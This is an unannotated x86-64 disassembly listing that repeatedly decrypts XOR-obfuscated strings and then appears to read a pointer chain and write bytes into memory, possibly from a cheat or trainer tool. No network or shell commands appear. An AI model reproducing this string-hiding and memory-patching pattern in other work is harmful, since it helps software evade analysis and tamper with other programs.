sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400a7560
movsd xmm0, qword [0x140144bd0]
movzx eax, byte [0x140144bd8]
movsd qword [rbp + 0x300], xmm0
mov byte [rbp + 0x300], 0x47
xor byte [rbp + 0x301], 0x39
xor byte [rbp + 0x302], 0x3a
xor byte [rbp + 0x303], 0x3b
xor byte [rbp + 0x304], 0x3c
xor byte [rbp + 0x305], 0x3d
xor byte [rbp + 0x306], 0x3e
xor byte [rbp + 0x307], 0x3f
xor al, 0x40
mov byte [rbp + 0x308], al
mov r9b, 1
movss xmm0, dword [0x1401493c0]
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0xcc8]
lea rcx, [rbp + 0x300]
call fcn.14007f140
movups xmm0, xmmword [str.kNeJXVV_c_f_____N]
movups xmmword [rbp + 0xff8], xmm0
mov eax, dword [0x140144590]
mov dword [rbp + 0x1008], eax
movzx eax, word [0x140144594]
mov word [rbp + 0x100c], ax
movzx eax, byte [0x140144596]
mov byte [rbp + 0x100e], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a7799
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xffc]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a7690
cmp r8d, 0x17
jge 0x1400a77e0
movsxd rax, r8d
lea r9, [rbp + 0xff8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1400a77b0
movups xmm0, xmmword [0x140144368]
movups xmmword [rbp + 0x9c0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400a7980
cmp r12d, 2
jl 0x1400a7944
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x9c4]
mov r8d, dword [rbp + 0x17a0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400a7842
jmp 0x1400a7980
lea r9, [rbp + 0x9c0]
mov r8d, r13d
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400a7950
lea r8, [0x1401ab1b8]
lea rdx, [rbp + 0xff8]
lea rcx, [rbp + 0x9c0]
call fcn.14007f300
mov eax, dword [0x1401444f0]
mov dword [rbp + 0x1020], eax
movzx eax, word [0x1401444f4]
mov word [rbp + 0x1024], ax
movups xmm0, xmmword [0x1401444e0]
movzx eax, byte [0x1401444f6]
movups xmmword [rbp + 0x1010], xmm0
mov byte [rbp + 0x1026], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a7b1a
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1014]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a7a11
cmp r8d, 0x17
jge 0x1400a7b60
movsxd rax, r8d
lea r9, [rbp + 0x1010]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1400a7b30
movsd xmm0, qword [str.zVUHH]
movsd qword [rbp + 0x860], xmm0
mov eax, dword [0x140146b48]
mov dword [rbp + 0x868], eax
movzx eax, word [0x140146b4c]
mov word [rbp + 0x86c], ax
cmp byte [0x140146b4d], 0
je 0x1400a7cf0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a7cac
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.zVUHH]
xorps xmm2, xmm0
movd dword [rbp + 0x860], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x864]
xorps xmm2, xmm1
movd dword [rbp + 0x864], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x860]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400a7cc0
lea r8, [0x1401aa8ee]
lea rdx, [rbp + 0x1010]
lea rcx, [rbp + 0x860]
call fcn.14007f300
movups xmm0, xmmword [0x1401459f0]
movups xmmword [rbp + 0xde8], xmm0
mov eax, dword [0x140145a00]
mov dword [rbp + 0xdf8], eax
cmp byte [0x140145a03], 0
je 0x1400a7ed0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a7e89
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xdec]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a7d80
cmp r8d, 0x14
jge 0x1400a7ed0
movsxd rax, r8d
lea r9, [rbp + 0xde8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400a7ea0
mov dword [rbp + 0x1830], 0x43fa0000
mov dword [rbp + 0x1828], 0x3f800000
mov dword [rsp + 0x30], r13d
lea rax, str._.3f
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1830]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1828]
lea r8, [0x1401ab1b4]
mov edx, 8
lea rcx, [rbp + 0xde8]
call fcn.14003b8c0
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movsd xmm0, qword [0x140144598]
movsd qword [rbp + 0x8f0], xmm0
mov eax, dword [0x1401445a0]
mov dword [rbp + 0x8f8], eax
movzx eax, word [0x1401445a4]
mov word [rbp + 0x8fc], ax
cmp byte [0x1401445a5], 0
je 0x1400a80c0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a807e
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144598]
xorps xmm2, xmm0
movd dword [rbp + 0x8f0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8f4]
xorps xmm2, xmm1
movd dword [rbp + 0x8f4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x8f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400a8090
mov eax, dword [str.upix_]
mov dword [rbp - 0x58], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x58], Ordinal_79
xor byte [rbp - 0x57], 0x39
xor byte [rbp - 0x56], 0x3a
xor byte [rbp - 0x55], 0x3b
xor al, 0x3c
mov byte [rbp - 0x54], al
mov r9b, 1
movaps xmm0, xmm14
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp - 0x58]
call fcn.14007f140
movups xmm0, xmmword [str.Q_U_X]
movups xmmword [rbp + 0xe78], xmm0
mov eax, dword [str.__9L]
mov dword [rbp + 0xe88], eax
movzx eax, byte [0x140146914]
mov byte [rbp + 0xe8c], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a8279
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xe7c]
mov edx, dword [rbp + 0x17a0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a8170
cmp r8d, 0x15
jge 0x1400a82c0
movsxd rax, r8d
lea r9, [rbp + 0xe78]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400a8290
movsd xmm0, qword [str.nRR_Q_]
movsd qword [rbp + 0x8e0], xmm0
mov eax, dword [0x140146360]
mov dword [rbp + 0x8e8], eax
movzx eax, word [0x140146364]
mov word [rbp + 0x8ec], ax
cmp byte [0x140146365], 0
je 0x1400a8450
mov r8d, r13d
cmp r12d, 2
jl 0x1400a840c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.nRR_Q_]
xorps xmm2, xmm0
movd dword [rbp + 0x8e0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8e4]
xorps xmm2, xmm1
movd dword [rbp + 0x8e4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x8e0]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400a8420
lea r9, [rbp + 0xe78]
mov r8d, 0x30120
lea rdx, [0x1401a7880]
lea rcx, [rbp + 0x8e0]
call fcn.140042fc0
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0xd8]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0xe0], xmm0
mov dword [rbp + 0xe4], 0x41c80000
movsd xmm0, qword [0x140145dd0]
movsd qword [rbp + 0x610], xmm0
mov eax, dword [0x140145dd8]
mov dword [rbp + 0x618], eax
cmp byte [0x140145ddb], 0
je 0x1400a8620
mov r8d, r13d
cmp r12d, 2
jl 0x1400a85df
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145dd0]
xorps xmm2, xmm0
movd dword [rbp + 0x610], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x614]
xorps xmm2, xmm1
movd dword [rbp + 0x614], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x610]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a85f0
xor r8d, r8d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x610]
call fcn.140037850
test al, al
je 0x1400a8761
mov rcx, qword [0x1401ab128]
add rcx, qword [0x1401ab138]
mov qword [rbp + 0x1910], r13
mov r8d, 8
lea rdx, [rbp + 0x1910]
call fcn.14007e5d0
mov qword [rbp + 0x1918], r13
mov rcx, qword [rbp + 0x1910]
add rcx, 0x48
mov r8d, 8
lea rdx, [rbp + 0x1918]
call fcn.14007e5d0
mov rcx, qword [rbp + 0x1918]
test rcx, rcx
je 0x1400a8761
mov qword [rbp + 0x1920], r13
add rcx, 0x20
mov r8d, 8
lea rdx, [rbp + 0x1920]
call fcn.14007e5d0
mov r15, qword [rbp + 0x1920]
test r15, r15
je 0x1400a8761
movss xmm0, dword [0x1401a7880]
movss xmm8, dword [0x1401493bc]
mulss xmm0, xmm8
cvttss2si eax, xmm0
movss xmm1, dword [0x1401a7884]
mulss xmm1, xmm8
cvttss2si ebx, xmm1
movss xmm0, dword [0x1401a7888]
mulss xmm0, xmm8
cvttss2si r14d, xmm0
mov byte [rbp + 0x1780], al
lea rcx, [r15 + 0xa6]
mov r8d, 1
lea rdx, [rbp + 0x1780]
call fcn.14007e660
mov byte [rbp + 0x1788], bl
lea rcx, [r15 + 0xa5]
mov r8d, 1
lea rdx, [rbp + 0x1788]
call fcn.14007e660
mov byte [rbp + 0x1790], r14b
lea rcx, [r15 + 0xa4]
mov r8d, 1
lea rdx, [rbp + 0x1790]
call fcn.14007e660
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0xe8]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0xf0], xmm0
mov dword [rbp + 0xf4], 0x41c80000
movsd xmm0, qword [str.mWVT_V]
movsd qword [rbp + 0x540], xmm0
movzx ecx, word [0x140146860]
mov word [rbp + 0x548], cx
movzx eax, byte [0x140146862]
mov byte [rbp + 0x540], 0x55
xor byte [rbp + 0x541], 0x39
xor byte [rbp + 0x542], 0x3a
xor byte [rbp + 0x543], 0x3b
xor byte [rbp + 0x544], 0x3c
xor byte [rbp + 0x545], 0x3d
xor byte [rbp + 0x546], 0x3e
xor byte [rbp + 0x547], 0x3f
xor cl, 0x40
mov byte [rbp + 0x548], cl
xor byte [rbp + 0x549], 0x41
xor al, 0x42
mov byte [rbp + 0x54a], al
xor r8d, r8d
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x540]
call fcn.140037850
test al, al
je 0x1400a882f
mov ecx, 1
call fcn.14007ea20
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0x190]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0xf8], xmm0
mov dword [rbp + 0xfc], 0x41c80000
movsd xmm0, qword [0x140145890]
movsd qword [rbp + 0x310], xmm0
movzx eax, byte [0x140145898]
mov byte [rbp + 0x310], Ordinal_79
xor byte [rbp + 0x311], 0x39
xor byte [rbp + 0x312], 0x3a
xor byte [rbp + 0x313], 0x3b
xor byte [rbp + 0x314], 0x3c
xor byte [rbp + 0x315], 0x3d
xor byte [rbp + 0x316], 0x3e
xor byte [rbp + 0x317], 0x3f
xor al, 0x40
mov byte [rbp + 0x318], al
xor r8d, r8d
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x310]
call fcn.140037850
test al, al
je 0x1400a88df
mov ecx, 2
call fcn.14007ea20
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movups xmm0, xmmword [0x140145ef8]
movups xmmword [rbp + 0xce0], xmm0
movzx eax, word [0x140145f08]
mov word [rbp + 0xcf0], ax
cmp byte [0x140145f09], 0
je 0x1400a8ab0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a8a69
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xce4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
